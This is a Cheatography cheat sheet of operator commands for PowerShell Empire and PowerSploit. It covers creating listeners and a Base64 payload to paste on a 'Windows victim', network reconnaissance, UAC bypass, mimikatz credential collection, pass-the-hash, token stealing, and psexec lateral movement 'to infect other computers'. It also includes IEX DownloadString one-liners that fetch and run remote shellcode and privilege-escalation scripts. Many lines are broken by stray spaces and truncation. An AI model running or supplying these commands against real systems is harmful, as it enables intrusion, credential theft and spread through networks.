Cheatography

Powershell Empire Cheat Sheet

by fred via cheatography.com/22666/cs/9078/

Resources

Official Site - http://www.powershellempire.com

Indepth Tutorial + Word Excel Macro Example - https://www.youtube.com/watch?v=aDeJBe6eqps

~39:30 - BSides DC 2015 - Bridging the Gap: Lessons in Adversarial Tradecraft https://www.youtube.com/watch?v=xHkRhRo3l8o

Offensive Active Directory with Powershell https://www.youtube.com/watch?v=cXWtu-qaISs

Installation

```
git clone https: //g ith ub.c om /po wer she lle mpi - re/ empire
sudo apt-get install python-pip python -op enssl
cd empire
cd setup
sudo ./inst all.sh
```

Execution & Exploitation

Create listener and generate Base64 cmd payload

```
sudo ./empire
listeners
set Name listen ername
execute
usestager launcher listen ernam e
```

`execute` (generate payload, copy & paste into cmd on Windows victim)

```
agents
```

Execution & Exploitation (cont)

Note: Type in `usestager` then hit TAB twice for more options.

Post Exploitation

```
agents
interact AGENTNAME
sysinfo
usemodule situat ion al_ awa ren ess /ne two rk/ arpscan
set Range 10.0.0.0- 10.0.0.255
execute
...
usemodule situat ion al_ awa ren ess /ne two rk/ pow ers e_dns
set Range 10.0.0.0- 10.0.0.255
execute
...
usemodule situat ion al_ awa ren ess /ne two rk/ pow erv iew /
us er_ hunter
execute
...
usemodule situat ion al_ awa ren ess /ne two rk/ pow erv iew /
sh are _finder
set CheckS har eAccess True
execute
...
agents
interact AGENTNAME
bypassuac LISTEN ERNAME
y
```

...wait for agent now active to appear...

Post Exploitation (cont)

```
agents
```

(look for a user with * as this indicates admin)

```
interact AGENTNAME
mimikatz
```

(collect creds, etc...)

```
creds
dir \\COMP UTE RNA ME\C$
creds
pth 1
```

(passthehash using cred 1, a PID will be created)

```
steal_ token PIDNUM
dir \\COMP UTE RNA ME\C$
```

Lateral Movement

```
usemodule situat ion al_ awa ren ess /ne two rk/ pow
 ala dmi n_a ccess
info
execute
```

(computer-names vulnerable to psexec will appear)

```
usemodule latera l_m ove men t/i nvo ke_ psexec
info
set Listener test1
set Comput erName WIN10C OMP.bl ah.com
info
execute
```

You can repeat the above process to infect other computers on the dom

Connect to a Meterpreter Multi--Handler

Start your meterpreter multi handle following:

`interact NAME` (target name fro

`usemodule code_e xec uti c ellcode`

`info`

`set lhost IPADDRESS` (the IP ir session)

`set lport PORT` (the port in you session)

`execute` (wait...)

(a meterpreter session will appear

Powersploit

Source - https://github.com/PowerShellMafia/PowerSploit/

Demos

User Hunting - https://www.sixdub.net/?p=591

Reverse meterpreter shell - DLL Injection using PowerSploit and Metasploit https://www.youtube.com/watch?v=yKoD5Oy8CKQ

PowerShell Toolkit: PowerSploit - Gaining Shells Without Writing To Disk https://www.youtube.com/watch?v=LEll6qa-REY

Cheatography

Powershell Empire Cheat Sheet

by fred via cheatography.com/22666/cs/9078/

Powersploit Example

```
cmd
powershell
IEX (New-O bject Net.We bCl ien t).D ow nlo adS tri ng( " htt ps: //g ith ub.c om /Po wer She llM afi a/P ow
xec uti on/ Inv oke -Sh ell cod e.p s1")
```

Powersploit Priv Esc

```
cmd
powershell
IEX (New-O bject Net.We bCl ien t).D ow nlo adS tri ng( " htt ps: //r aw.g it hub use rco nte nt.c om /Po we
/m ast er/ Pri ves c/P owe rUp.ps 1")
IEX (New-O bject Net.We bCl ien t).D ow nlo adS tri ng( " htt ps: //r aw.g it hub use rco nte nt.c om /Po we
/m ast er/ Pri ves c/P riv esc.ps d1")
Invoke -Al lChecks
```

By **fred**
cheatography.com/fred/

Published 12th September, 2016.
Last updated 12th September, 2016.